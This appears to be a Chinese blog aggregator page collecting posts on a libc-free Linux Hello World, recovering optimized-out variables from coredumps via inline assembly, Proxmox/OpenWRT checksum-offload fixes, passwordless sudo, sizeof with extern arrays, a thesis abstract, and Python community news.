将字符串输出到屏幕上也没有使用标准库中的printf(),同样是直接调用了SYS_write这个系统调用,其第一个参数显式的写为了1,其实就是STDOUT_FILENO,Linux系统在unistd.h中定义了stdin, stdout, stderr这几个标准文件描述符。

可以看到,这样一个程序是可以不依赖于任何其他的库在Linux上独立运行的,为了实现不链接C标准库的目的,需要使用一些特殊的编译选项。从编译这个hello-world程序使用的Makefile中可以找到使用的编译选项为:

1
CFLAGS := -static -Os -nostartfiles -fno-asynchronous-unwind-tables
  • -static表示静态链接,虽然对这个程序来说无所谓动态链接还是静态链接……
  • -Os表示为空间进行-O2级别的优化,专门用于减少目标文件大小;
  • -nostartfiles是关键编译选项,此选项表示不使用标准C语言运行库(即crt0.o),也不链接C标准库;
  • -fno-asynchronous-unwind-tables选项也是用于减少代码空间的,其大概含义是不产生C++异常处理机制中使用的.eh_frame段,关于什么是unwind-tables.eh_frame是个比这篇文章复杂多了的问题,文末有几篇参考资料,之后有空可以深入学习下C++的底层机制……

进行了以上诸多特殊优化处理后,终于可以得到一个只有1k多的可以正常运行于Linux上的Hello World程序了。


参考资料:

What is the use of _start() in C?

When is the gcc flag -nostartfiles used?

GCC x86 code size optimizations

c++ 异常处理(2)

June 12, 2021 02:07 AM

June 11, 2021

gaomf

如何从 coredump 文件中获取被优化掉的局部变量真实值

在 GCC -O3 优化级别下,很多局部变量是会被优化掉的,此时只能通过人工分析反汇编代码来获取所需信息,而这么做的前提是保存下来的寄存器中的值是准确的。绝大部分情况下 coredump 是由于 segment fault 或 assert 触发的,segment fault 情况下 Kernel 保存下来的 registers 信息是准确的,GDB 中直接用 info registers 就可以看到。然而若是由 assert 触发,由于 assert 会进行多层函数调用后最终执行 raise(),错误现场的寄存器信息是不准确的,这时候就需要一些其他手段来解决此问题。下面用一个具体例子来说明此问题。

测试程序代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
volatile int final = 0;

int fun(int a) {
int b = a + 100;
final = b;
if (b > 0) {
assert(false);
return 0;
} else {
std::cout << b;
return 1;
}
}

int main(int argc, char** argv) {
int n = 0;
while (true) {
if (fun(rand()) == 1) {
n++;
}
if (n > 100000) {
break;
}
}
}

运行此程序肯定会发生 assert failed,我们用 gdb 来看下调用栈:

1
2
3
4
5
6
7
8
9
Program terminated with signal SIGABRT, Aborted.
#0 0x00007fac9f2f31f7 in raise () from /lib64/libc.so.6
gef> bt
#0 0x00007fac9f2f31f7 in raise () from /lib64/libc.so.6
#1 0x00007fac9f2f48e8 in abort () from /lib64/libc.so.6
#2 0x00007fac9f2ec266 in __assert_fail_base () from /lib64/libc.so.6
#3 0x00007fac9f2ec312 in __assert_fail () from /lib64/libc.so.6
#4 0x0000000000400d5e in fun (a=<optimized out>)
#5 main (argc=<optimized out>, argv=<optimized out>)

切换到 fun() 的栈帧:

e
1
2
3
4
5
6
7
gef> f 4
#4 0x0000000000400de0 in fun (a=<optimized out>)
245 assert(false);
gef> p a
$1 = <optimized out>
gef> p b
$2 = <optimized out>

可以看到 ab 都被优化掉了,到底是哪个值触发了 assert 就不能直接确定了。当然并不是就彻底没办法知道了,来看下 fun() 函数的反汇编:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
gef> disassemble
Dump of assembler code for function main(int, char**):
0x0000000000400d10 <+0>: push rbx
0x0000000000400d11 <+1>: mov ebx,0x186a1
0x0000000000400d16 <+6>: nop WORD PTR cs:[rax+rax*1+0x0]
0x0000000000400d20 <+16>: call 0x400c70 <rand@plt>
0x0000000000400d25 <+21>: lea esi,[rax+0x64]
0x0000000000400d28 <+24>: test esi,esi
0x0000000000400d2a <+26>: mov DWORD PTR [rip+0x201570],esi # 0x6022a0 <final>
0x0000000000400d30 <+32>: jg 0x400d45 <main(int, char**)+53>
0x0000000000400d32 <+34>: mov edi,0x602080
0x0000000000400d37 <+39>: call 0x400cd0 <_ZNSolsEi@plt>
0x0000000000400d3c <+44>: sub ebx,0x1
0x0000000000400d3f <+47>: jne 0x400d20 <main(int, char**)+16>
0x0000000000400d41 <+49>: xor eax,eax
0x0000000000400d43 <+51>: pop rbx
0x0000000000400d44 <+52>: ret
0x0000000000400d45 <+53>: mov ecx,0x400fc6
0x0000000000400d4a <+58>: mov edx,0xf5
0x0000000000400d4f <+63>: mov esi,0x400f70
0x0000000000400d54 <+68>: mov edi,0x400fc0
0x0000000000400d59 <+73>: call 0x400c80 <__assert_fail@plt>

-O3 优化下 fun() 直接被内联到 main() 里面了,不过这不影响基本分析,重点关注 <+16> ~ <+32> 这几行,这就对应 fun() 的前几行逻辑,if (b > 0) 是通过 test + jg 来实现的,b 的值此时就是 %esi 寄存器中的值。看下 gdb 分析出来的当前栈帧的寄存器值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
gef> info registers
rax 0x0 0x0
rbx 0x186a1 0x186a1
rcx 0x7fac9f2f31f7 0x7fac9f2f31f7
rdx 0x6 0x6
rsi 0x4cc5 0x4cc5
rdi 0x4cc5 0x4cc5
rbp 0x0 0x0
rsp 0x7fff091e0410 0x7fff091e0410
r8 0x1 0x1
r9 0xfeff092d63646b68 0xfeff092d63646b68
r10 0x8 0x8
r11 0x206 0x206
r12 0x400daf 0x400daf
r13 0x7fff091e04f0 0x7fff091e04f0
r14 0x0 0x0
r15 0x0 0x0
rip 0x400d5e 0x400d5e
eflags 0x206 [ PF IF ]
cs 0x33 0x33
ss 0x2b 0x2b
ds 0x0 0x0
es 0x0 0x0
fs 0x0 0x0
gs 0x0 0x0

是不是其中 %rsi 的值就是我们需要的 b 了呢?非也!注意到 <+68> 行,在调用 __assert_fail()%esi 又被重新赋值用于传递参数了,且由于 %esi 属于 caller save 的寄存器,在 __assert_fail() 内有可能会被再次改写。因此 使用 GDB 分析 coredump 文件不同栈帧的 register 信息时,只有为数不多的几个 callee save 寄存器的值是可靠的,其他的都是不可靠的。 那如何才能得到可靠的寄存器值呢?一般来说只有靠我们自己保存了,一个简单思路是只要在调用 __assert_fail() 前把所有寄存器的值保存到一个全局数组中就可以了。

assert() 前添加如下一段内联汇编代码即可实现此目的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
__asm__ __volatile__("movq $0, %%r15;\n\t"
"movq %%rax, (%0, %%r15, 8);\n\t"
"incq %%r15;\n\t"
"movq %%rbx, (%0, %%r15, 8);\n\t"
"incq %%r15;\n\t"
"movq %%rcx, (%0, %%r15, 8);\n\t"
"incq %%r15;\n\t"
"movq %%rdx, (%0, %%r15, 8);\n\t"
"incq %%r15;\n\t"
"movq %%rsi, (%0, %%r15, 8);\n\t"
"incq %%r15;\n\t"
"movq %%rdi, (%0, %%r15, 8);\n\t"
"incq %%r15;\n\t"
"movq %%rbp, (%0, %%r15, 8);\n\t"
"incq %%r15;\n\t"
"movq %%rsp, (%0, %%r15, 8);\n\t"
"incq %%r15;\n\t"
"movq %%r8, (%0, %%r15, 8);\n\t"
"incq %%r15;\n\t"
"movq %%r9, (%0, %%r15, 8);\n\t"
"incq %%r15;\n\t"
"movq %%r10, (%0, %%r15, 8);\n\t"
"incq %%r15;\n\t"
"movq %%r11, (%0, %%r15, 8);\n\t"
"incq %%r15;\n\t"
"movq %%r12, (%0, %%r15, 8);\n\t"
"incq %%r15;\n\t"
"movq %%r13, (%0, %%r15, 8);\n\t"
"incq %%r15;\n\t"
"movq %%r14, (%0, %%r15, 8);\n\t"
"incq %%r15;\n\t"
"movq %%r15, (%0, %%r15, 8);\n\t"
"incq %%r15;\n\t"
:
: "r" (registers_data)
: "%r15");

再来看下此时的反汇编代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
gef> disassemble
Dump of assembler code for function main(int, char**):
0x0000000000400d10 <+0>: push r15
0x0000000000400d12 <+2>: push rbx
0x0000000000400d13 <+3>: mov ebx,0x186a1
0x0000000000400d18 <+8>: sub rsp,0x8
0x0000000000400d1c <+12>: nop DWORD PTR [rax+0x0]
0x0000000000400d20 <+16>: call 0x400c70 <rand@plt>
0x0000000000400d25 <+21>: lea esi,[rax+0x64]
0x0000000000400d28 <+24>: test esi,esi
0x0000000000400d2a <+26>: mov DWORD PTR [rip+0x201570],esi # 0x6022a0 <final>
0x0000000000400d30 <+32>: jg 0x400d4b <main(int, char**)+59>
0x0000000000400d32 <+34>: mov edi,0x602080
0x0000000000400d37 <+39>: call 0x400cd0 <_ZNSolsEi@plt>
0x0000000000400d3c <+44>: sub ebx,0x1
0x0000000000400d3f <+47>: jne 0x400d20 <main(int, char**)+16>
0x0000000000400d41 <+49>: add rsp,0x8
0x0000000000400d45 <+53>: xor eax,eax
0x0000000000400d47 <+55>: pop rbx
0x0000000000400d48 <+56>: pop r15
0x0000000000400d4a <+58>: ret
0x0000000000400d4b <+59>: mov eax,0x6021a0
0x0000000000400d50 <+64>: mov r15,0x0
0x0000000000400d57 <+71>: mov QWORD PTR [rax+r15*8],rax
0x0000000000400d5b <+75>: inc r15
0x0000000000400d5e <+78>: mov QWORD PTR [rax+r15*8],rbx
0x0000000000400d62 <+82>: inc r15
0x0000000000400d65 <+85>: mov QWORD PTR [rax+r15*8],rcx
0x0000000000400d69 <+89>: inc r15
0x0000000000400d6c <+92>: mov QWORD PTR [rax+r15*8],rdx
0x0000000000400d70 <+96>: inc r15
0x0000000000400d73 <+99>: mov QWORD PTR [rax+r15*8],rsi
0x0000000000400d77 <+103>: inc r15
0x0000000000400d7a <+106>: mov QWORD PTR [rax+r15*8],rdi
0x0000000000400d7e <+110>: inc r15
0x0000000000400d81 <+113>: mov QWORD PTR [rax+r15*8],rbp
0x0000000000400d85 <+117>: inc r15
0x0000000000400d88 <+120>: mov QWORD PTR [rax+r15*8],rsp
0x0000000000400d8c <+124>: inc r15
0x0000000000400d8f <+127>: mov QWORD PTR [rax+r15*8],r8
0x0000000000400d93 <+131>: inc r15
0x0000000000400d96 <+134>: mov QWORD PTR [rax+r15*8],r9
0x0000000000400d9a <+138>: inc r15
0x0000000000400d9d <+141>: mov QWORD PTR [rax+r15*8],r10
0x0000000000400da1 <+145>: inc r15
0x0000000000400da4 <+148>: mov QWORD PTR [rax+r15*8],r11
0x0000000000400da8 <+152>: inc r15
0x0000000000400dab <+155>: mov QWORD PTR [rax+r15*8],r12
0x0000000000400daf <+159>: inc r15
0x0000000000400db2 <+162>: mov QWORD PTR [rax+r15*8],r13
0x0000000000400db6 <+166>: inc r15
0x0000000000400db9 <+169>: mov QWORD PTR [rax+r15*8],r14
0x0000000000400dbd <+173>: inc r15
0x0000000000400dc0 <+176>: mov QWORD PTR [rax+r15*8],r15
0x0000000000400dc4 <+180>: inc r15
0x0000000000400dc7 <+183>: mov ecx,0x4010c6
0x0000000000400dcc <+188>: mov edx,0xf5
0x0000000000400dd1 <+193>: mov esi,0x401070
0x0000000000400dd6 <+198>: mov edi,0x4010c0
0x0000000000400ddb <+203>: call 0x400c80 <__assert_fail@plt>

<+59> ~ <+180> 行就是我们新加的逻辑,可以看到这段代码紧接在 <+32> 行之后,理论上分析的确是可以保存准确的寄存器信息。来看下实际效果:

1
2
3
4
gef> p registers_data
$1 = {0x6021a0, 0x186a1, 0x7f872ad260d4, 0x7f872ad260c8, 0x6b8b45cb, 0x7f872ad266e0, 0x0, 0x7ffd6d53a660, 0x7f872ad260c8, 0x7f872ad26140, 0x7ffd6d53a370, 0x7f872a9a38b0, 0x400e2f, 0x7ffd6d53a750, 0x0, 0xf, 0x0 <repeats 16 times>}
gef> p final
$2 = 0x6b8b45cb

registers_data[4]final 的值完全相同,而从源代码和反汇编 <+26> 行可以看到,final 中保存的就是 b 的真实值。


参考资料:
Value optimized out. Reverse debugging to the rescue!

June 11, 2021 01:45 PM

PVE上部署OpenWRT发生网络中断的解决方法

在旧笔记本上使用Proxmox搭建了一个OpenWRT软路由,正常使用都很稳定,然而当PC使用百度网盘,迅雷等工具进行全速率下载时偶尔会出现网络中断问题,此时Proxmox宿主机的网络会全部断掉,即PVE自己的Web管理界面也无法登录。查看终端,此时会不断打印Detected Hardware Unit Hang的错误提示。

Google一下这个错误提示,还是有不少类似问题的:

Proxmox: enp0s31f6: Detected Hardware Unit Hang

解决FreeNAS under KVM使用Virtio网卡导致宿主机网卡Hang的问题

e1000e Reset adapter unexpectedly / Detected Hardware Unit Hang

How to fix “eth0: Detected Hardware Unit Hang” in Debian 9?

Proxmox Node freezes

基本所有文章都提到此问题与TCP checksum offload特性有关,解决方案就是关掉checksum offload。具体方法是使用ethtool工具:

1
ethtool -K enp0s25 tx off rx off

如果要重启后永久生效的话将此命令写入/etc/network/if-up.d/ethtool2文件中并为此文件加上x权限即可:

1
2
#!/bin/sh
ethtool -K enp0s25 tx off rx off

除此之外上述第2篇文章的情况和我遇到的很像,里面提到这与Virtio虚拟化有很大关系,而我使用的也正是Vritio,根据作者的说法,更应该在OpenWRT而不是Proxmox中关闭checksum offload。然而实际试了下却发现一个蛋疼的问题,OpenWRT中是无法把tx checksum offload给关掉的……

此外作者还提到,将网卡的虚拟化方式从Virtio改为E1000也可以解决此问题,不过会有CPU占用率上升的副作用。


综合以上几种方法,我最后采用的解决办法是:禁用Proxmox宿主机上的TCP checksum offload,并将OpenWRT使用的网卡虚拟化方式改为E1000。实际测试下来没有再发生网卡hang的问题,满速率下载(250Mbps左右)时CPU占用率50%左右,比之前使用Virtio时CPU占用率要高10%左右,还是可以接受的。


问题算是解决了,最后顺带去进一步学习了下相关的知识,首先是TCP checksum offload,此技术的作用是将计算TCP checksum的工作由CPU软件实现改为由NIC设备(即网卡等)硬件实现,以此达到节约CPU资源的目的。

Checksum Offloading

TCP checksum offload

UDP的checksum计算与硬件Offload

另外就是VirtioE1000,这是两种不同的网络虚拟化技术,Virtio是半虚拟化而E1000是全虚拟化。对于全虚拟化方案来说,虚拟机是完全感知不到自己是运行在一个虚拟环境中的;而半虚拟化则是虚拟机知道自己就是运行在一个虚拟环境中,此时IO驱动就可以做一些针对性的修改优化,以此降低虚拟化层进行转换带来的开销及性能损失。显而易见,半虚拟化技术的隔离度是没有全虚拟化好的,而且要是虚拟机驱动有问题会导致宿主机也出问题。这就是为什么在使用Virtio时,OpenWRT网络出现问题会导致整个Proxmox的网络都不能用了的原因。除了这两种虚拟化方式外,还有些更为先进的虚拟化技术,如SR-IVO等,有兴趣的话可以看看下面这篇文章的总结:

KVM虚拟化网络优化技术总结

June 11, 2021 01:45 PM

用于嵌入式车载安全预警的交通标志检测若干关键技术研究与验证

转眼间毕业已经要一年了,今天在整理电脑文件的时候翻出了当初写的硕士毕业论文,在知网上搜搜也找得到了。想想硕士期间做过的东西也太杂了,电机控制、Android 开发、嵌入式。。。最后确定了这个毕业论文的题目后只有1年不到的时间可以做了,这期间还要复习准备找工作,不过最后做出来的东西还算是自己基本满意的,这估计也是我在学术上的顶峰了……

为纪念下我离Academy最近的时刻,这里把我这篇论文的摘要及pdf版本的全文贴一下吧。

全文下载链接:用于嵌入式车载安全预警的交通标志检测若干关键技术研究与验证

论文摘要:

车载安全预警系统可及时为驾驶员提供必要的行车安全预警信息以提高驾驶安全性,其包含若干子系统,如交通标志识别、超速预警等,而交通标志检测则是支撑诸多子系统的重要基础技术之一;本文就针对交通标志检测中基于颜色分割的定位算法及多线程任务调度策略这两项关键技术进行了研究,提出了适用于性能有限嵌入式系统的混合颜色分割策略及混合切换任务调度策略,并通过搭建嵌入式原型样机在实际道路环境中验证了方法的有效性。此外为更好的验证及评估交通标志检测算法的效果,本文建立了中国道路交通标志视频数据集,并将此数据集公开发布以供其他研究人员使用,这也是此领域目前唯一的中国公开数据集。目前主流成熟的交通标志检测定位方法基本均是基于颜色及几何形状局部特征的,本文在此框架下对用于车载安全预警的交通标志检测中最为重要的红色及黄色分割方法展开了深入研究,针对已有主流颜色分割方法的不足提出了混合颜色分割策略,此策略通过若干线性分类器的组合实现了对红色及黄色准确高效的分割,分割效果优于目前常用的各方法且其算法执行速度与最简单的RGB阈值法相似,可保证安全预警算法在性能有限的小型嵌入式车载设备上依然有较好的实时性;在颜色分割基础上本文采用经典的Hough变换实现了对红色圆形交通标志的检测定位并在数据集上评估了算法的效果。本文通过对交通标志检测识别问题进行建模分析提出可用采样间隔时间作为定量衡量此类系统实时性的指标,进而针对目前广泛使用的多核CPU提出了理论最优的理想多线程任务调度算法,此算法可显著降低采样间隔时间以提高系统实时性;不过理想任务调度算法实际无法实现,因此本文进一步提出了实际可实现的混合切换任务调度策略及动态更新参数估计策略;通过控制系统模型数值仿真及实际嵌入式原型样机上的测试验证均表明本文提出的方法可有效优化采样间隔时间分布以此提高系统实时性。本文同时开发了基于Qt的算法验证平台软件及基于Intel Joule模块的嵌入式原型样机,并在其上验证了上述各方法的有效性,最后在校园环境及城市道路上分别进行了静态及动态系统集成测试;测试结果表明本文提出的方法可在小型嵌入式设备上满足系统实时性要求,在天气光照条件较好时检出率也相对较高,不过算法鲁棒性依然需要加强。

June 11, 2021 01:45 PM

sudo不需要输入密码的方法

正常情况下,使用sudo命令是需要输入密码的,连续输入多条sudo只用输一次密码就行,不过若干分钟后又需要输入密码了。对于自己使用的本地桌面环境来说,其实是可以配置成sudo免输入密码的,这样可以减少一些麻烦。

Ubuntu 18.04为例说明设置方法,其他发行版可能会有区别。Ubuntu Desktop默认已经将安装系统时配置的用户加入了admin用户组,且admin用户组中的用户都是有sudo权限的,因此无需修改sudo用户组。若需要将某用户添加到sudo用户组中,可参考文末链接。

输入su -命令切换到root下,修改/etc/sudoers文件,找到:

1
2
# Allow members of group sudo to execute any command
%sudoALL=(ALL:ALL) ALL

修改为:

1
2
# Allow members of group sudo to execute any command
%sudoALL=(ALL:ALL) NOPASSWD:ALL

即可。

这样就可以允许sudo用户组中的用户免密码执行sudo命令了。


参考资料:

免密码使用sudo和su

June 11, 2021 01:45 PM

sizeof 获取 extern 数组长度

sizeof是获取数组元素个数的常用运算符,然而前几天使用时发现,对于extern类型的数组,sizeof的使用上是有些需要考虑的问题的。

假设系统中有3个文件:

file1.c:

1
int array[] = {1, 2, 3};

header1.h:

1
extern int array[];

main.c:

1
2
3
4
5
6
7
#include "header1.h"

void fun()
{
// This is WRONG!
size_t elements_in_array = sizeof(array) / sizeof(int);
}

main.c中期望通过sizeof运算符获取array中元素个数,然而这么做是错误的,编译时无法通过,错误提示类似incomplete type not allowed这类。

造成这一问题的原因在于,**sizeof是在编译时计算的,而C/C++的编译是以文件为基本单位的**。在编译main.c文件时,编译器是不可能知道定义在file1.c文件中array数组具体信息的,只根据header1.h文件中的声明是无法确定array的具体大小的,因此,就算某些编译器编译时不报错,得到的结果也是不正确的。

分析清楚原因后来看下解决方案,基本解决方法有4种:

  1. 避免使用匿名长度的数组声明,使用宏定义预先确定数组大小;
  2. 定义一个辅助变量用于保存数组大小信息,将其定义赋值放在定义array数组的同一个文件中;
  3. 使用特殊元素表示数组结束,就像字符串结尾的'\0'一样,这样就可以在运行阶段动态确定数组大小;
  4. 将数组的定义放到使用它的源文件中。

这几种方法都有其缺点:

  1. 使用sizeof就是不想固定数组长度,因为使用宏定义固定数组长度不够灵活,要是想添加数组元素也要同时修改宏定义,否则尽管编译不会报错,然而运行时新添加的元素其实是无效的,这会导致将来维护时一些潜在Bug发生的可能性增加;
  2. 需要一个额外的存储空间,且由于这是一个变量,每次使用数组长度时都需要访问内存,编译器也无法对数组长度作出任何假设,进而影响编译优化,理论上说这可能会导致运行时一些微小的效率损失;
  3. 需要修改上层逻辑,缺乏通用性;
  4. 大部分情况下,使用非static全局变量的原因就是多个源文件需要使用这个变量,这时显然无法做到这一点,多次重复定义链接时会出错的。

实际使用中,需要根据具体问题具体分析采用哪种方法最恰当,一般而言不经常变化的数组就使用宏定义确定其大小,会经常变化的第2种方法最常用,此时还可以用一些宏定义简化编程,以上代码可修改为:

file1.c:

1
2
3
4
5
#include "header1.h"

int array[] = {1, 2, 3};

ELEMENTS_IN_DEF(array)

header1.h:

1
2
3
4
5
6
#define  ELEMENTS_IN(array)            __elements_in_##array
#define ELEMENTS_IN_DEF(array) size_t __elements_in_##array = sizeof(array) / sizeof(array[0]);
#define ELEMENTS_IN_DECLARE(array) extern size_t __elements_in_##array;

extern int array[];
ELEMENTS_IN_DECLARE(array)

main.c:

1
2
3
4
5
6
#include "header1.h"

void fun()
{
size_t elements_in_array = ELEMENTS_IN(array);
}

参考资料:

comp.lang.c FAQ list · Question 1.24

C: How to determine sizeof(array) / sizeof(struct) for external array?

sizeof extern数组

June 11, 2021 01:45 PM

多歧路,今安在?

好久没写博客了,翻看自己的博客,上次更新已是半年多前了,这大半年来忙于找工作,毕业设计,毕业答辩、入职……入职前两个月也是各种忙碌,现在对手头的工作也熟悉一些了,于是乎在低头做事的空暇时也需要抬起头来看看路了。

自从找工作拿到几个Offer可以选择时就开始各种纠结与困惑了,大疆、阿里、Intel、华为、拼多多、乐鑫、网易……有幸能拿到这么些优秀公司的Offer,然而每一家公司都同时有吸引我和令我踌躇的地方,鱼和熊掌终不可兼得,选择也变得十分困难。虽然最终选择了大疆,然而这一选择并不是那么顺理成章,当时在犹豫,本以为选了之后就不会困惑了,现在才发觉,困惑的东西并不会随着时间推移而自然而然的变得清晰起来。

人生有很多选择,选择和努力哪个更重要呢?这个问题的标准答案在准备面试时都背得滚瓜烂熟了,选择与努力互为因果,选择是为了决定之后努力的方向,努力是为了将来能有更多选择。然而,记住了所谓的标准答案并无济于事,该困惑的时候还是一样困惑。

其实想想,所有困惑的根源都来自于两点:不知道自己真正想要的是什么;不知道未来会是怎样。

与其说是不知道自己想要什么,不如说是不知道自己愿意放弃什么,选择之所以困难,是因为选择与放弃总是如影相随的,选择了此就注定要放弃彼。人总是什么都想要的,但事实是我们注定要放弃大多数东西的,人生在不断的做出选择,同时也是在不断放弃。然而,我究竟愿意放弃什么呢?愿意选择什么呢?这并不是那么确定的啊……什么都不想放弃,也就注定什么都无法得到。

上面那点也许还能随着年岁与阅历的增长思考得越来越清楚,那对未来不可知的迷茫更是让人觉得无能为力。生命的精彩源于不可知,生命的痛苦也源于不可知。时代的洪流滚滚前进,顺之者昌逆之者亡,然而时代的车轮碾向何方又有谁知?

可供选的路总是越来越少的,我们都终有一日会无路可选,到那时,认命也罢,不认也罢,是非成败转头空,唯余夕阳照青山。在我们还有得可选的时候,还是多想想吧,就算是一条咸鱼也还是要挣扎下看看的。虽然路最终总是越走越窄的,还是要努力下让它窄得不要那么快吧,毕竟啊,谁又能说自己走的一定是那条自己想要同时又不会被时代湮没的道路呢?

瞎扯了这么多似乎还是多想清楚了那么一丝东西吧,脚踏实地亦要仰望星空,不要让天天加班和生活琐事的忙碌成为一种错觉蒙蔽了双眼。自己的未来何在,尽管想不清还是要去找的吧,在坚信自己找到之前,努力让未来的路宽广一些,努力让自己不要失去有选择的能力,虽然选择是困难和纠结的,然而没选择的走投无路是更大的悲哀。

然而,要维持像学校里那样站在四通八达的十字路口近乎是不可能完成的事,两条路经常是越来越远的,刚开始时尚有可能跳过去,越到后面越难跳过去了吧。所以啊,还是要尽快想清楚自己想去哪条路上才行啊,然而,谁知道哪时候能想清楚呢……不过在想清楚自己要跳去哪条路上之前,还是要多练练自己跳跃的能力,培养些通用的技能,让自己还是有路可跳有路可选吧。

June 11, 2021 01:45 PM

May 26, 2021

pythoncat

坚持原创很难,但我不会放弃!

在最开始写公众号的时候,我几乎可以每周写三篇原创,后来,慢慢变成了一周一篇,再后来,演变成了两周一篇。在最近半年里,由于忙于其它事,这个原创周期变得非常漫长……
在专门收集灵感、写作话题和翻译计划的未完成清单里,我罗列了至少 200 项内容,但是,大部分内容都难以动工。有些内容过于零散、有些内容过于浅显、有些内容过于冷门、有些内容我觉得能力难以把握、有些内容别人写过、有些内容需耗费很多时间精力……
写公众号时间长了以后,我至少明白了一个道理:写文章不能自嗨,时时得考虑一下阅读者的观感,需要切中别人的痛点,需要让别人觉得这文章值得转载/分享。所以,坚持原创难,有一部分原因是“自我审查”。
在运营公众号上,我相对于圈内比较熟的几个好友,算是非常的佛系了,总是在某些方面束手束脚。有的时候,我非常在乎订阅数和阅读量,当出现数据滑坡时,就会十分懊恼和不忿;但是,有的时候,明明可以尝试做一些改变(看到过很多运营套路),就可能获得一些改观,但我却又突然觉得不乐意做那些事,对这些数据不太在乎……所以,坚持原创难,有一部分原因是“死要面子活受罪”。
在干扰原创方面,钱也是很关键的因素。技术公众号的广告金主非常多(但是最近半年不景气),广告中介更多,只要一个号的阅读上了小几百,就一定会有广告来约。在早期的一段时间里,我坚持着一个想法“不到一万订阅,不接广告”,因此,每当有广告来约,我的报价都超出阅读很多,以示婉拒。现实很骨感,达成万粉成就绝非易事(花了13个月)。
我不记得自己从什么时候开始正式成为“恰饭号主”,不过初期还是很克制,一个月只排 2-3 次“恰饭”。有些软文的标题夸张不实,还有大部分的标题一眼就能看出是广告,所以,阅读量不高,严重拉低了数据的平均值。为了中和“恰饭”排期对读者的影响,为了有更好的数据来提升议价能力,转载文就多了起来。
我不喜欢转载随处可见的文章,因为有一个稍微挑剔的选文标准(不从众、不贪多、获取第一手信息),而这导致我要花很多时间阅读、筛查、等授权和排版,其实占用了不少本可以用来写原创/翻译的时间。
另外,还有一个很重要的干扰因素,那就是想要“涨粉”。当看到其他号主的量级突破消息,当看到自己辛苦原创或者翻译的文章,阅读量总在低位徘徊,你难免会动心思,也想要寻求一些突破。于是,互推、送书/送礼物、制作电子书、单推,各种运营手段都尝试一番。效果不能说是没有(比靠原创涨粉的效果好),但是收益越来越低,而负作用也日渐增加……
干扰的因素有很多,坚持原创难啊。
正因如此,我有时候就很佩服那些可以长期坚持原创的号主。比如,前不久来我们公众号里“作客”的 kingname 大佬(公众号:未闻Code),他已经写了五六年了,仍在源源不断地输出高质量的内容,已经积累下 400 篇原创。
这么长的创作时间和可观的作品数量,在 Python 号圈里屈指可数,然而,要论佛系运营的话,他也是佛系的佼佼者:订阅数长期缓慢增长,阅读量也上不去,而且接广告的次数也非常非常少(最近半年有改观了,毕竟是领了证的男人,需要养家的 :)
但凡你多关注几个技术号,绝对会认为 未闻Code 是少见的一股清流。虽然我前几天发了一篇商业互吹的文章,但估计很多同学都没点进去看,所以,我再隆重推荐你去关注一下。
我关注了很多 Python 的号,知道一些能把原创+涨粉+恰饭几个方面都做得很好的号,但是,还知道有不少号只停留在第一项,或者曾经坚持过一段时间第一项,但已断更很久……
在这里,我要友情推荐几个阅读量比较低,但更新比较稳定、且没有怎么发互推和恰饭的原创号吧(按照最近有发文的顺序)
Python作业辅导员
Python七号
游戏不存在
Python学会
小菜学编程
NLP奇幻之旅
这些都是“小而美”的号,我都转载过他们的文章。另外,还有很多同样小而美的原创号,以后有机会再单独介绍吧。
最后顺便提两组比较有意思的高质量原创号:piglei 和 Prodesire,两个号都是以“p”开头,而且公众号和作者微信号同名,一个在鹅厂一个在福报厂;懒编程 和 Manjusaka的编程屋,两个号都有“编程”,而且作者都活跃在我们的 1 号交流群里……
在我写这篇文章的时候,猪哥(公众号:裸睡的猪)正好发起了“第二期Python优质原创号主评选活动”。Python猫曾有幸在第一期活动中被评为了第二名,但是,由于近半年的原创度严重降低,而优秀的原创号很多(群里已有 107 位作者),我们估计是排不进前十名了……
在动笔写这篇文章的时候,我有些牢骚想发,虽然最终已尽量克制了许多,但难免还是透露出了一点点负能量……
所以,最后给一个提升正能量的结尾吧:创作是一件非常值得持续投入的事情,如果你有写作的想法,赶紧行动起来吧;Python 原创圈子的氛围很赞,投稿与转载、讨论运营与恰饭、举办活动等等,写作可以不是一件孤军奋战的事,欢迎更多号主来结伴同行!

May 26, 2021 12:00 AM

May 16, 2021

pythoncat

Python之父爆料:明年至少令 Python 提速 1 倍!

大概在半年前,我偶然看到一篇文章,有人提出了给 Python 提速 5 倍的计划,并在寻找经费赞助。当时并没有在意,此后也没有看到这方面的消息。
但是,就在 5 月 13 日“2021 年 Python 语言峰会”上,Python 之父 Guido van Rossum 作了一场《Making CPython Faster 》的分享,他已经投入了这项计划!
据 Guido 爆料,他因为“退休”无聊,申请加入了微软,因此组建起一个小团队。目前成员除了他还有两个:Eric Snow(Python 核心开发者之一、微软高级工程师)和 Mark Shannon(本文第一段那个计划的提出者,精通 Python 性能研究)。
整个计划被称为“香农计划”(即“Shannon Plan”,得名于提出者),期望花 4 年时间把 Python 提速 5 倍,即每年 1.5 倍。现在短期的计划是在 Python 3.11 版本中实现至少提速 1 倍。
按照官方的发布周期,今年 10 月会发布 3.10 版本,而 3.11 版本将在 2022 年 10 月发布。
怎么做到令 3.11 版本提速一倍呢?
根据 Guido 的分享,第一项优化工作是“适应性的、专门的字节码解释器”,相关的设想已经起草到 PEP-659 中:
其它的优化内容还有:
  • 优化帧堆栈,更快的调用,调整分配( optimize frame stack, faster calls, tweak allocation)
  • “零开销”异常处理(“Zero overhead” exception handling)
以及这些工作:
这些优化工作都要在不破坏接口兼容性的前提下实现,同时还要保持代码的可维护性。
在 Guido 的分享中,还有很多细节内容。在这里,我们把完整的分享材料贴一下吧。(原文件是 PDF 版本,可在“Python猫”后台回复数字“0516”下载 )

May 16, 2021 12:00 AM

March 25, 2021

spiritx

使用Rsync整机迁移VPS

去年把小站服务器系统换成了ArchLinux,一直正常运行着,我时不时ssh上去 sudo pacman -Syu 一下,后来准备更换小站服务器的服务商,但因系统配置太过麻烦遂搁浅。前几天给手机刷机操作失误,清空了我所有的数据,不过幸好我还有备份的习惯 :机智: :机智:

